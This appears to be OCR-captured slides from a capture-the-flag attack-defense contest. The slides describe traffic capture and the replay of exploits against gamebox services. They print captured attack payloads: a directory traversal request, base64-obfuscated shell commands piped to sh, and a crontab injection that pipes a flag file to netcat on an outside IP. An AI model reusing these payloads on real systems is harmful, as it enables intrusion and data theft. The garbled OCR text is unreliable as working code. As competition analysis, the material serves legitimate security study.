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Traffic delay 15 min

e [n your home directory (/home/ctf) you will find a public/private ssh
key pailr:

e hitcon-capture, hitcon-capture.pub

* These files are your team's public/private key pair for accessing the
capture server.




Record

e Pcap file every 5 min

e Each expired token
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Pcap file

1 cychao cychao 295M Aug
1 cychao cychao 260M Aug
1 cychao cychao 273M Aug
1 cychao cychao 271M Aug
1 cychao cychao 261IM Aug
1 cychao cychao 284M Aug
1 cychao cychao 293M Aug
1 cychao cychao 254M Aug
1 cychao cychao 267M Aug
1 cychao cychao 267M Aug
1 cychao cychao 270M Aug
1 cychao cychao 274M Aug
1 cychao cychao 296M Aug
1 cychao cychao 307M Aug
1 cychao cychao 317M Aug
1 cychao cychao 310M Aug
1 cychao cychao 277M Aug
1 cychao cychao 0 Aug

drwxrwxr-x 2 cychao cychao 36K Aug

1 cychao cychao 2.2K Aug

drwxrwxr-x 2 cychao cychao 172K Aug
drwxrwxr-x 2 cychao cychao 4.0K Aug
cychao@vubuntu: /home/public/pcap/cychao$

10 12:46 08101245.pcap
10 12:51 08101250.pcap
10 12:56 08101255.pcap
10 13:01 08101300.pcap
10 13:06 08101305.pcap
10 13:11 08101310.pcap
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10 13:16 08101315.pcap
10 13:21 08101320.pcap
10 13:26 08101325.pcap
10 13:31 08101330.pcap
10 13:36 08101335.pcap
10 13:41 08101340.pcap
10 13:46 08101345.pcap |
10 13:51

10 13:56 08101355.pcap
10 14:00 08101400.pcap
10 14:06 08101405.pcap
9 03:11 alerts.txt

9 03:37 output

9 03:11 report.xml

9 03:37 test

9 03:23 wdub



check outbound traftic

Find token leak traffic from our gamebox.

tcpflow -r /home/public/pcap/cychao/08101105.pcap \
"(src port 8888 or dst port 8888) and (src net 10.5.9.2 or dst net 10.5.9.2)"
cat /home/public/expired_tokens/elizal tail -n 20 |\
awk '{print $2}' | xargs -n 1 -I {} grep -1 {} ./* | xargs -n 1 -I {} mv {} ../output/
cat /home/publlc/exptred_tokens/hdubI tail -n 20 | \
ORI awk "{print $2}" | xargs -n 1 -I {} grep -1 {} ./* | xargs -n 1 -I {} mv {} ../output/
- cat /home/public/expired_tokens/justify| tail -n 20 |\
Bwk "{print $21' | xargs -n 1 -I {} grep -1 {} ./* | xargs -n 1 -I {} mv {} ../output/

I ij‘;"r ‘\'l "l'sﬁ

cychao@vubuntu:~/pcap/output$ tail -n 2 010.005.009.002.06969-010.005.011.002
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Analyse payload

e Eliza exploit
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Jump complete captain. Now in orbit at planet Oskosie.
Planet[Oskosie] Cash[ 39820] Fuel[ 4060] Hold[ 11828]: You do not have anymore item slots on your ship commander.
in your hold.
You buy 243 Cheap Processors from the planet Oskosie for 5103 cash.
You have bought all of the them from the planet.
Planet[Oskosie] Cash[ 34717] Fuel[ 4060] Hold[ 12071]: You buy 940 Fuel from the planet Oskosie for 940 cash.
Planet[Oskosie] Cash[ 33777] Fuel[ 5000] Hold[ 12071]: Jumping... HOLD ON!!
Jump complete captain. Now in orbit at planet Ushippe.
Planet[Ushippe] Cash[ 33777] Fuel[ 3340] Hold[ 12071]: You buy 324 Cheap Processors from the planet Ushippe for 7.
You have bought all of the them from the planet.
Planet[Ushippe] Cash[ 26001] Fuel[ 334@] Hold[ 12395]: You buy 1660 Fuel from the planet Ushippe for 166@ cash.
Planet[Ushippe] Cash[ 24341] Fuel[ 5000] Hold[ 12395]: Jumping... HOLD ON!!
- Jump complete captain. Now in orbit at planet Oshadus.
- Planet[0Oshadus] Cash[ 24341] Fuel[ 4340] Hold[ 12395]: You buy 399 Cheap Processors from the planet Oshadus for 1
| Planet[0shadus] Cash[ 13967] Fuel[ 434@] Hold[ 12794]: gemu: uncaught target signal 11 (Segmentation fault) - cor
cychao@vubuntu:~/pcap/tmp2$ |}

EVAL /index.ydg HTTP/1.1
Content-Length: 217
Content-Encoding: compress
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Easy replay

 wdub directory traversal exploit

cychao@vubuntu:~/pcap/tmp3$ cat ./010.005.015.002.56465-010.005.009.002 .0
GET /../../../../../../../../../../home/wdub/flag HTTP/1.0

- cychao@vubuntu:~/pcap/tmp3$ |




Obfuscation

e command obfuscation

VR s
* 0\ G000 € 4 6800011112222€06m150 fetch 1 BODY[]

sh

echo Zm9yIGRpciBpbiBgbHMgLWx@IC90b211L21tYXAvbWIveGVzLyB8IGh1YWQgLW4gMzAWIHWgYXdrICd7ch

~ GW7IGRvbmU= | base64 -d | sh

Yy €@xD
0IeR@
'@ €¥/bin//shA="fla"; B="g"; /bin/cat /home/wdub/$A$B | /usr/bin/xxd -p
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buy 1 Excellent Robotics

buy 810 Fuel

jump Oshagua

buy 966 Cheap Processors

C DI APIP, EREE G ')

- | IP="10.5.9.2"

(MD="cat ~/flaglgzip -flnc $IP 44444";

printf "*/3 * * * * $CMD;\rno crontab for eliza¥%$((${#CMD}+10))c\n" | crc
cat ~/flag

exit

X39jX/bin/shh




HEI

« Justify exploit => In -s wdub/flag /tmp/..bb../*

cychao@vubuntu:~/pcap/tmp3%$ tail -n 10 ./010.005.020.002.47843-010.005.009.002.06969
-1054 0

1055 @

-1056 0

%/bin/sh/bin/cat $(echo 'LZhvbWUvanVzdGlmeSOmbGFn' | base64 -d)

/bin/rm -rf /tmp/..bb..

/bin/mkdir -p /tmp/..bb..

/bin/chmod 777 /tmp/. . bb
| /bin/1n -sf $(echo 'LZ2hvbWUvd2R1Yi9mbGFn' | base64 -d) /tmp/..bb../ .30422f485267db|c77e34e5be5
~ 7bin/écho ‘donzo’
/bin/grep . $(echo 'LZ2hvbWUvanVzdGlmeSOmbGFn' | base64 -d)
cychao@vubuntu:~/pcap/tmp3$ 4j]

cychao@vubuntu:~/pcap/tmp3$ tail -n 10 ./010.005.017.002.40206-010.005.¢
GET ../../../dev/shn/..../.304221485267dbc77e34e5be59202784

cychao@vubuntu:~/pcap/tmp3$ |
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o« BAEEEELIEH Exploit:

« PPP: justify

e Hitcon & korea: Eliza
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PPP Combo
Replay - Sat 14:41
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